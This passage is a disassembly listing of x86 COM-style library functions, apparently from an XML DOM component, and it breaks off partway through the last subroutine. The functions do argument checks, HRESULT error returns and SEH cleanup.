sub_69B419B4 proc near ; CODE XREF: sub_69B593DE+Cp
; DATA XREF: .text:69B12534o
push 2Ch
push offset dword_69B41A70
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B419D9
mov eax, 80004005h
jmp loc_69B41A61
; ---------------------------------------------------------------------------
loc_69B419D9: ; CODE XREF: sub_69B419B4+19j
mov edi, [ebp+8]
push edi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov esi, [ebp+0Ch]
cmp esi, ebx
jnz short loc_69B419F4
mov ebx, 80070057h
jmp short loc_69B41A4E
; ---------------------------------------------------------------------------
loc_69B419F4: ; CODE XREF: sub_69B419B4+37j
mov [ebp-4], ebx
mov ecx, [edi+1Ch]
mov [ebp-30h], ecx
mov [ebp-34h], ecx
mov al, [ecx+0Bh]
and al, 1Fh
cmp al, 0Fh
jz short loc_69B41A20
call sub_69B48E02
mov ecx, eax
mov [ebp-38h], ecx
cmp ecx, ebx
jz short loc_69B41A20
call sub_69B48B01
mov [esi], eax
jmp short loc_69B41A4A
; ---------------------------------------------------------------------------
loc_69B41A20: ; CODE XREF: sub_69B419B4+53j
; sub_69B419B4+61j
mov [esi], ebx
xor ebx, ebx
inc ebx
mov [ebp-3Ch], ebx
jmp short loc_69B41A4A
; ---------------------------------------------------------------------------
loc_69B41A2A: ; DATA XREF: .text:69B41A74o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B41A33: ; DATA XREF: .text:69B41A78o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B41A4A: ; CODE XREF: sub_69B419B4+6Aj
; sub_69B419B4+74j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B41A4E: ; CODE XREF: sub_69B419B4+3Ej
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B41A61: ; CODE XREF: sub_69B419B4+20j
call sub_69B1853C
retn 8
sub_69B419B4 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B41A70 dd 0FFFFFFFFh dd offset loc_69B41A2A
dd offset loc_69B41A33
; =============== S U B R O U T I N E =======================================
sub_69B41A7C proc near ; CODE XREF: sub_69B593F2+Cp
; DATA XREF: .text:69B12538o
push 2Ch
push offset dword_69B41B38
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B41AA1
mov eax, 80004005h
jmp loc_69B41B29
; ---------------------------------------------------------------------------
loc_69B41AA1: ; CODE XREF: sub_69B41A7C+19j
mov edi, [ebp+8]
push edi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov esi, [ebp+0Ch]
cmp esi, ebx
jnz short loc_69B41ABC
mov ebx, 80070057h
jmp short loc_69B41B16
; ---------------------------------------------------------------------------
loc_69B41ABC: ; CODE XREF: sub_69B41A7C+37j
mov [ebp-4], ebx
mov ecx, [edi+1Ch]
mov [ebp-30h], ecx
mov [ebp-34h], ecx
mov al, [ecx+0Bh]
and al, 1Fh
cmp al, 0Fh
jz short loc_69B41AE8
call sub_69B48533
mov ecx, eax
mov [ebp-38h], ecx
cmp ecx, ebx
jz short loc_69B41AE8
call sub_69B48B01
mov [esi], eax
jmp short loc_69B41B12
; ---------------------------------------------------------------------------
loc_69B41AE8: ; CODE XREF: sub_69B41A7C+53j
; sub_69B41A7C+61j
mov [esi], ebx
xor ebx, ebx
inc ebx
mov [ebp-3Ch], ebx
jmp short loc_69B41B12
; ---------------------------------------------------------------------------
loc_69B41AF2: ; DATA XREF: .text:69B41B3Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B41AFB: ; DATA XREF: .text:69B41B40o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B41B12: ; CODE XREF: sub_69B41A7C+6Aj
; sub_69B41A7C+74j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B41B16: ; CODE XREF: sub_69B41A7C+3Ej
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B41B29: ; CODE XREF: sub_69B41A7C+20j
call sub_69B1853C
retn 8
sub_69B41A7C endp
; ---------------------------------------------------------------------------
align 8
dword_69B41B38 dd 0FFFFFFFFh dd offset loc_69B41AF2
dd offset loc_69B41AFB
; =============== S U B R O U T I N E =======================================
sub_69B41B44 proc near ; CODE XREF: sub_69B5948F+Cp
; DATA XREF: .text:69B12550o
push 20h
push offset dword_69B41BE0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B41B66
mov eax, 80004005h
jmp short loc_69B41BD8
; ---------------------------------------------------------------------------
loc_69B41B66: ; CODE XREF: sub_69B41B44+19j
mov esi, [ebp+8]
push esi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov ecx, [esi+1Ch]
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B41B84
mov ebx, 80070057h
jmp short loc_69B41BC5
; ---------------------------------------------------------------------------
loc_69B41B84: ; CODE XREF: sub_69B41B44+37j
mov [ebp-4], ebx
mov eax, [ecx]
call dword ptr [eax+74h]
test al, al
jz short loc_69B41B96
or word ptr [edi], 0FFFFh
jmp short loc_69B41BC1
; ---------------------------------------------------------------------------
loc_69B41B96: ; CODE XREF: sub_69B41B44+4Aj
mov [edi], bx
xor ebx, ebx
inc ebx
mov [ebp-30h], ebx
jmp short loc_69B41BC1
; ---------------------------------------------------------------------------
loc_69B41BA1: ; DATA XREF: .text:69B41BE4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B41BAA: ; DATA XREF: .text:69B41BE8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B41BC1: ; CODE XREF: sub_69B41B44+50j
; sub_69B41B44+5Bj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B41BC5: ; CODE XREF: sub_69B41B44+3Ej
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B41BD8: ; CODE XREF: sub_69B41B44+20j
call sub_69B1853C
retn 8
sub_69B41B44 endp
; ---------------------------------------------------------------------------
dword_69B41BE0 dd 0FFFFFFFFh dd offset loc_69B41BA1
dd offset loc_69B41BAA
; =============== S U B R O U T I N E =======================================
sub_69B41BEC proc near ; CODE XREF: sub_69B59406+1Fp
; DATA XREF: .text:69B12540o
push 44h
push offset dword_69B41D70
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
xor ebx, ebx
cmp edi, ebx
jz short loc_69B41C2A
mov esi, [ebp+8]
push esi
push edi
lea ecx, [ebp-30h]
call sub_69B40DFB
cmp [ebp-2Ch], bl
jnz short loc_69B41C34
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B41C2A: ; CODE XREF: sub_69B41BEC+1Bj
mov eax, 80004005h
jmp loc_69B41D66
; ---------------------------------------------------------------------------
loc_69B41C34: ; CODE XREF: sub_69B41BEC+2Dj
mov [ebp-34h], ebx
mov esi, [esi+1Ch]
mov [ebp-38h], esi
cmp [ebp+0Ch], ebx
jnz short loc_69B41C4E
mov dword ptr [ebp-3Ch], 80070057h
jmp loc_69B41D3C
; ---------------------------------------------------------------------------
loc_69B41C4E: ; CODE XREF: sub_69B41BEC+54j
mov eax, [ebp+20h]
cmp eax, ebx
jz short loc_69B41C57
mov [eax], ebx
loc_69B41C57: ; CODE XREF: sub_69B41BEC+67j
mov [ebp-4], ebx
lea eax, [ebp+10h]
push eax
call sub_69B47D6F
mov [ebp-40h], eax
push dword ptr [ebp+0Ch]
call sub_69B47D5E
mov ebx, eax
mov [ebp-44h], ebx
test ebx, ebx
jnz short loc_69B41C81
push 80070057h
call sub_69B2E8B8
loc_69B41C81: ; CODE XREF: sub_69B41BEC+89j
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+0F4h]
mov edi, eax
mov [ebp-48h], edi
test edi, edi
jz short loc_69B41CF2
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0B4h]
mov edx, [esi]
mov ecx, esi
mov [ebp-4Ch], eax
call dword ptr [edx+0B4h]
mov ecx, [ebp-4Ch]
cmp ecx, eax
jz short loc_69B41CEF
push 14h
call sub_69B1D897
mov [ebp-50h], eax
test eax, eax
jz short loc_69B41CCD
push edi
push dword ptr [ebp-1Ch]
mov ecx, eax
call sub_69B3FBF7
jmp short loc_69B41CCF
; ---------------------------------------------------------------------------
loc_69B41CCD: ; CODE XREF: sub_69B41BEC+D2j
xor eax, eax
loc_69B41CCF: ; CODE XREF: sub_69B41BEC+DFj
mov [ebp-34h], eax
mov al, [eax+4]
mov [ebp-51h], al
test al, al
jnz short loc_69B41CEF
mov dword ptr [ebp-3Ch], 80004005h
push 0C00CE212h
call sub_69B2D34C
jmp short loc_69B41D38
; ---------------------------------------------------------------------------
loc_69B41CEF: ; CODE XREF: sub_69B41BEC+C4j
; sub_69B41BEC+EEj
mov esi, [ebp-38h]
loc_69B41CF2: ; CODE XREF: sub_69B41BEC+A6j
push 0
push dword ptr [ebp-40h]
push ebx
mov ecx, esi
call sub_69B3D53E
mov ecx, [ebp+20h]
test ecx, ecx
jz short loc_69B41D11
mov eax, [ebp+0Ch]
mov [ecx], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B41D11: ; CODE XREF: sub_69B41BEC+118j
and dword ptr [ebp-3Ch], 0
jmp short loc_69B41D38
; ---------------------------------------------------------------------------
loc_69B41D17: ; DATA XREF: .text:69B41D74o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B41D20: ; DATA XREF: .text:69B41D78o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-3Ch], eax
loc_69B41D38: ; CODE XREF: sub_69B41BEC+101j
; sub_69B41BEC+129j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B41D3C: ; CODE XREF: sub_69B41BEC+5Dj
cmp dword ptr [ebp-34h], 0
jz short loc_69B41D52
mov ecx, [ebp-34h]
call sub_69B4637D
push dword ptr [ebp-34h]
call sub_69B1B2B7
loc_69B41D52: ; CODE XREF: sub_69B41BEC+154j
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-3Ch]
loc_69B41D66: ; CODE XREF: sub_69B41BEC+43j
call sub_69B1853C
retn 1Ch
sub_69B41BEC endp
; ---------------------------------------------------------------------------
align 10h
dword_69B41D70 dd 0FFFFFFFFh dd offset loc_69B41D17
dd offset loc_69B41D20
; =============== S U B R O U T I N E =======================================
sub_69B41D7C proc near ; CODE XREF: sub_69B5944B+10p
; DATA XREF: .text:69B12548o
push 34h
push offset dword_69B41E90
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
test edi, edi
jz short loc_69B41DB9
mov esi, [ebp+8]
push esi
push edi
lea ecx, [ebp-30h]
call sub_69B40DFB
cmp byte ptr [ebp-2Ch], 0
jnz short loc_69B41DC3
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B41DB9: ; CODE XREF: sub_69B41D7C+19j
mov eax, 80004005h
jmp loc_69B41E88
; ---------------------------------------------------------------------------
loc_69B41DC3: ; CODE XREF: sub_69B41D7C+2Cj
and dword ptr [ebp-34h], 0
mov ebx, [ebp+0Ch]
test ebx, ebx
jnz short loc_69B41DDA
mov dword ptr [ebp-34h], 80070057h
jmp loc_69B41E74
; ---------------------------------------------------------------------------
loc_69B41DDA: ; CODE XREF: sub_69B41D7C+50j
and dword ptr [ebp-4], 0
mov esi, [esi+1Ch]
mov [ebp-38h], esi
mov [ebp-3Ch], esi
push ebx
call sub_69B47D5E
mov edi, eax
mov [ebp-40h], edi
test edi, edi
jnz short loc_69B41E00
push 80070057h
call sub_69B2E8B8
loc_69B41E00: ; CODE XREF: sub_69B41D7C+78j
mov al, [edi+0Bh]
and al, 1Fh
cmp al, 0Fh
jnz short loc_69B41E34
mov eax, [esi+0Ch]
mov [ebp-44h], eax
test byte ptr [eax+0ECh], 4
jnz short loc_69B41E34
push 0
mov ecx, edi
call sub_69B481AF
push eax
push 0C00CE208h
push 80004005h
call sub_69B2E9D0
add esp, 10h
loc_69B41E34: ; CODE XREF: sub_69B41D7C+8Bj
; sub_69B41D7C+9Aj
push 0
push edi
mov ecx, esi
call sub_69B3D570
mov eax, [ebp+10h]
test eax, eax
jz short loc_69B41E70
mov [eax], ebx
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
jmp short loc_69B41E70
; ---------------------------------------------------------------------------
loc_69B41E4F: ; DATA XREF: .text:69B41E94o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B41E58: ; DATA XREF: .text:69B41E98o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-34h], eax
loc_69B41E70: ; CODE XREF: sub_69B41D7C+C7j
; sub_69B41D7C+D1j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B41E74: ; CODE XREF: sub_69B41D7C+59j
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-34h]
loc_69B41E88: ; CODE XREF: sub_69B41D7C+42j
call sub_69B1853C
retn 0Ch
sub_69B41D7C endp
; ---------------------------------------------------------------------------
dword_69B41E90 dd 0FFFFFFFFh dd offset loc_69B41E4F
dd offset loc_69B41E58
; =============== S U B R O U T I N E =======================================
sub_69B41E9C proc near ; CODE XREF: sub_69B5942F+14p
; DATA XREF: .text:69B12544o
push 3Ch
push offset dword_69B42020
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
xor ebx, ebx
cmp edi, ebx
jz short loc_69B41EDA
mov esi, [ebp+8]
push esi
push edi
lea ecx, [ebp-30h]
call sub_69B40DFB
cmp [ebp-2Ch], bl
jnz short loc_69B41EE4
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B41EDA: ; CODE XREF: sub_69B41E9C+1Bj
mov eax, 80004005h
jmp loc_69B42016
; ---------------------------------------------------------------------------
loc_69B41EE4: ; CODE XREF: sub_69B41E9C+2Dj
mov [ebp-34h], ebx
mov [ebp-38h], ebx
mov esi, [esi+1Ch]
cmp [ebp+0Ch], ebx
jz short loc_69B41EF7
cmp [ebp+10h], ebx
jnz short loc_69B41F03
loc_69B41EF7: ; CODE XREF: sub_69B41E9C+54j
mov dword ptr [ebp-38h], 80070057h
jmp loc_69B41FEC
; ---------------------------------------------------------------------------
loc_69B41F03: ; CODE XREF: sub_69B41E9C+59j
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
call sub_69B47D5E
mov edi, eax
mov [ebp-3Ch], edi
cmp edi, ebx
jnz short loc_69B41F21
push 80070057h
call sub_69B2E8B8
loc_69B41F21: ; CODE XREF: sub_69B41E9C+79j
push dword ptr [ebp+10h]
call sub_69B47D5E
mov [ebp-40h], eax
cmp eax, ebx
jnz short loc_69B41F3A
push 80070057h
call sub_69B2E8B8
loc_69B41F3A: ; CODE XREF: sub_69B41E9C+92j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0F4h]
mov edi, eax
mov [ebp-44h], edi
cmp edi, ebx
jz short loc_69B41FA4
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0B4h]
mov ebx, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
cmp ebx, eax
jz short loc_69B41FA4
push 14h
call sub_69B1D897
mov ecx, eax
mov [ebp-48h], ecx
test ecx, ecx
jz short loc_69B41F82
push edi
push dword ptr [ebp-1Ch]
call sub_69B3FBF7
jmp short loc_69B41F84
; ---------------------------------------------------------------------------
loc_69B41F82: ; CODE XREF: sub_69B41E9C+D9j
xor eax, eax
loc_69B41F84: ; CODE XREF: sub_69B41E9C+E4j
mov [ebp-34h], eax
mov al, [eax+4]
mov [ebp-49h], al
test al, al
jnz short loc_69B41FA4
mov dword ptr [ebp-38h], 80004005h
push 0C00CE212h
call sub_69B2D34C
jmp short loc_69B41FE8
; ---------------------------------------------------------------------------
loc_69B41FA4: ; CODE XREF: sub_69B41E9C+AFj
; sub_69B41E9C+C9j ...
push 0
push dword ptr [ebp-40h]
push dword ptr [ebp-3Ch]
mov ecx, esi
call sub_69B3D556
mov eax, [ebp+14h]
test eax, eax
jz short loc_69B41FE8
mov ecx, [ebp+10h]
mov [eax], ecx
mov eax, [ecx]
push ecx
call dword ptr [eax+4]
jmp short loc_69B41FE8
; ---------------------------------------------------------------------------
loc_69B41FC7: ; DATA XREF: .text:69B42024o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B41FD0: ; DATA XREF: .text:69B42028o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-38h], eax
loc_69B41FE8: ; CODE XREF: sub_69B41E9C+106j
; sub_69B41E9C+11Cj ...
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B41FEC: ; CODE XREF: sub_69B41E9C+62j
cmp dword ptr [ebp-34h], 0
jz short loc_69B42002
mov ecx, [ebp-34h]
call sub_69B4637D
push dword ptr [ebp-34h]
call sub_69B1B2B7
loc_69B42002: ; CODE XREF: sub_69B41E9C+154j
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-38h]
loc_69B42016: ; CODE XREF: sub_69B41E9C+43j
call sub_69B1853C
retn 10h
sub_69B41E9C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B42020 dd 0FFFFFFFFh dd offset loc_69B41FC7
dd offset loc_69B41FD0
; =============== S U B R O U T I N E =======================================
sub_69B4202C proc near ; DATA XREF: .text:69B12558o
push 2Ch
push offset dword_69B42130
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B4204F
mov eax, 80004005h
jmp loc_69B42125
; ---------------------------------------------------------------------------
loc_69B4204F: ; CODE XREF: sub_69B4202C+17j
mov ebx, [ebp+8]
push ebx
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
and dword ptr [ebp-30h], 0
cmp dword ptr [ebp+10h], 0
jnz short loc_69B42072
mov dword ptr [ebp-30h], 80070057h
jmp loc_69B42111
; ---------------------------------------------------------------------------
loc_69B42072: ; CODE XREF: sub_69B4202C+38j
mov esi, [ebx+1Ch]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov edi, eax
mov ecx, edi
call sub_69B3D200
mov [ebp-34h], eax
lea ecx, [ebx+0Ch]
call sub_69B87FDC
cmp eax, 1
jnz short loc_69B420A0
mov ecx, [ebp-34h]
call sub_69B2E22D
loc_69B420A0: ; CODE XREF: sub_69B4202C+6Aj
xor ecx, ecx
mov [ebp-4], ecx
mov eax, [edi+50h]
mov [ebp-38h], eax
push ecx
push eax
push edi
push ecx
cmp word ptr [ebp+0Ch], 0FFFFh
setz al
push eax
mov ecx, esi
call sub_69B3D586
mov [ebp-3Ch], eax
mov ecx, eax
call sub_69B48B01
mov ecx, [ebp+10h]
mov [ecx], eax
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B420FC
; ---------------------------------------------------------------------------
loc_69B420D4: ; DATA XREF: .text:69B42134o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B420DD: ; DATA XREF: .text:69B42138o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
mov ebx, [ebp+8]
loc_69B420FC: ; CODE XREF: sub_69B4202C+A6j
lea ecx, [ebx+0Ch]
call sub_69B87FDC
cmp eax, 1
jnz short loc_69B42111
mov ecx, [ebp-34h]
call sub_69B2E238
loc_69B42111: ; CODE XREF: sub_69B4202C+41j
; sub_69B4202C+DBj
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B42125: ; CODE XREF: sub_69B4202C+1Ej
call sub_69B1853C
retn 0Ch
sub_69B4202C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B42130 dd 0FFFFFFFFh dd offset loc_69B420D4
dd offset loc_69B420DD
; =============== S U B R O U T I N E =======================================
sub_69B4213C proc near ; CODE XREF: sub_69B594A3+Cp
; DATA XREF: .text:69B12554o
push 28h
push offset dword_69B421F0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B42161
mov eax, 80004005h
jmp loc_69B421E8
; ---------------------------------------------------------------------------
loc_69B42161: ; CODE XREF: sub_69B4213C+19j
mov edi, [ebp+8]
push edi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov esi, [ebp+0Ch]
cmp esi, ebx
jnz short loc_69B4217E
mov dword ptr [ebp-30h], 80070057h
jmp short loc_69B421D4
; ---------------------------------------------------------------------------
loc_69B4217E: ; CODE XREF: sub_69B4213C+37j
mov [ebp-4], ebx
mov ecx, [edi+1Ch]
mov [ebp-34h], ecx
mov [ebp-38h], ecx
mov al, [ecx+0Bh]
and al, 1Fh
cmp al, 3
jnz short loc_69B4219A
mov [ebp-30h], ebx
mov [esi], ebx
jmp short loc_69B421D0
; ---------------------------------------------------------------------------
loc_69B4219A: ; CODE XREF: sub_69B4213C+55j
mov eax, [ecx]
call dword ptr [eax+0B4h]
mov ecx, [eax]
push esi
push offset stru_69B25E34
push eax
call dword ptr [ecx]
jmp short loc_69B421CD
; ---------------------------------------------------------------------------
loc_69B421AF: ; DATA XREF: .text:69B421F4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B421B8: ; DATA XREF: .text:69B421F8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B421CD: ; CODE XREF: sub_69B4213C+71j
mov [ebp-30h], eax
loc_69B421D0: ; CODE XREF: sub_69B4213C+5Cj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B421D4: ; CODE XREF: sub_69B4213C+40j
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B421E8: ; CODE XREF: sub_69B4213C+20j
call sub_69B1853C
retn 8
sub_69B4213C endp
; ---------------------------------------------------------------------------
dword_69B421F0 dd 0FFFFFFFFh dd offset loc_69B421AF
dd offset loc_69B421B8
; =============== S U B R O U T I N E =======================================
sub_69B421FC proc near ; CODE XREF: sub_69B59507+Cp
; DATA XREF: .text:69B1256Co
push 2Ch
push offset dword_69B422A8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B4221E
mov eax, 80004005h
jmp short loc_69B4229B
; ---------------------------------------------------------------------------
loc_69B4221E: ; CODE XREF: sub_69B421FC+19j
mov esi, [ebp+8]
push esi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B42239
mov ebx, 80070057h
jmp short loc_69B42288
; ---------------------------------------------------------------------------
loc_69B42239: ; CODE XREF: sub_69B421FC+34j
mov [ebp-4], ebx
mov ecx, [esi+1Ch]
mov [ebp-30h], ecx
mov [ebp-34h], ecx
call sub_69B4CC55
mov ecx, eax
mov [ebp-38h], ecx
cmp ecx, ebx
jz short loc_69B4225C
call sub_69B48B01
mov [edi], eax
jmp short loc_69B42284
; ---------------------------------------------------------------------------
loc_69B4225C: ; CODE XREF: sub_69B421FC+55j
xor ebx, ebx
inc ebx
mov [ebp-3Ch], ebx
jmp short loc_69B42284
; ---------------------------------------------------------------------------
loc_69B42264: ; DATA XREF: .text:69B422ACo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4226D: ; DATA XREF: .text:69B422B0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B42284: ; CODE XREF: sub_69B421FC+5Ej
; sub_69B421FC+66j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B42288: ; CODE XREF: sub_69B421FC+3Bj
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B4229B: ; CODE XREF: sub_69B421FC+20j
call sub_69B1853C
retn 8
sub_69B421FC endp
; ---------------------------------------------------------------------------
align 8
dword_69B422A8 dd 0FFFFFFFFh dd offset loc_69B42264
dd offset loc_69B4226D
; =============== S U B R O U T I N E =======================================
sub_69B422B4 proc near ; CODE XREF: sub_69B594CB+Cp
; DATA XREF: .text:69B12560o
push 38h
push offset dword_69B423A0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B422D9
mov eax, 80004005h
jmp loc_69B42394
; ---------------------------------------------------------------------------
loc_69B422D9: ; CODE XREF: sub_69B422B4+19j
mov esi, [ebp+8]
push esi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov [ebp-30h], ebx
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B422FC
mov dword ptr [ebp-30h], 80070057h
jmp loc_69B42380
; ---------------------------------------------------------------------------
loc_69B422FC: ; CODE XREF: sub_69B422B4+3Aj
mov [ebp-4], ebx
mov esi, [esi+1Ch]
mov [ebp-34h], esi
mov [ebp-38h], esi
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov [ebp-3Ch], eax
mov eax, [eax+0E8h]
mov [ebp-40h], eax
mov ecx, esi
cmp eax, ebx
jz short loc_69B42330
push 1
push 1
push ebx
call sub_69B4AAFC
jmp short loc_69B42335
; ---------------------------------------------------------------------------
loc_69B42330: ; CODE XREF: sub_69B422B4+6Ej
call sub_69B40333
loc_69B42335: ; CODE XREF: sub_69B422B4+7Aj
mov [ebp-44h], eax
cmp eax, ebx
jz short loc_69B42350
mov ecx, [eax+0Ch]
mov [ebp-48h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi], eax
jmp short loc_69B4237C
; ---------------------------------------------------------------------------
loc_69B42350: ; CODE XREF: sub_69B422B4+86j
mov [edi], ebx
mov dword ptr [ebp-30h], 1
jmp short loc_69B4237C
; ---------------------------------------------------------------------------
loc_69B4235B: ; DATA XREF: .text:69B423A4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B42364: ; DATA XREF: .text:69B423A8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-30h], eax
loc_69B4237C: ; CODE XREF: sub_69B422B4+9Aj
; sub_69B422B4+A5j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B42380: ; CODE XREF: sub_69B422B4+43j
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B42394: ; CODE XREF: sub_69B422B4+20j
call sub_69B1853C
retn 8
sub_69B422B4 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B423A0 dd 0FFFFFFFFh dd offset loc_69B4235B
dd offset loc_69B42364
; =============== S U B R O U T I N E =======================================
sub_69B423AC proc near ; CODE XREF: sub_69B594DF+Cp
; DATA XREF: .text:69B12564o
push 2Ch
push offset dword_69B424A8
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
xor ebx, ebx
cmp edi, ebx
jz short loc_69B423EA
mov esi, [ebp+8]
push esi
push edi
lea ecx, [ebp-30h]
call sub_69B40DFB
cmp [ebp-2Ch], bl
jnz short loc_69B423F4
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B423EA: ; CODE XREF: sub_69B423AC+1Bj
mov eax, 80004005h
jmp loc_69B424A0
; ---------------------------------------------------------------------------
loc_69B423F4: ; CODE XREF: sub_69B423AC+2Dj
xor edi, edi
mov [ebp-4], ebx
mov ecx, [esi+1Ch]
mov [ebp-34h], ecx
mov [ebp-38h], ecx
xor eax, eax
mov al, [ecx+0Bh]
and eax, 1Fh
jl short loc_69B4244E
cmp eax, 2
jle short loc_69B42425
cmp eax, 4
jle short loc_69B4244E
cmp eax, 7
jle short loc_69B42425
cmp eax, 0Bh
jz short loc_69B42425
cmp eax, 0Fh
jnz short loc_69B4244E
loc_69B42425: ; CODE XREF: sub_69B423AC+63j
; sub_69B423AC+6Dj ...
call sub_69B48CEA
cmp [ebp+0Ch], ebx
jnz short loc_69B42433
xor eax, eax
jmp short loc_69B4243C
; ---------------------------------------------------------------------------
loc_69B42433: ; CODE XREF: sub_69B423AC+81j
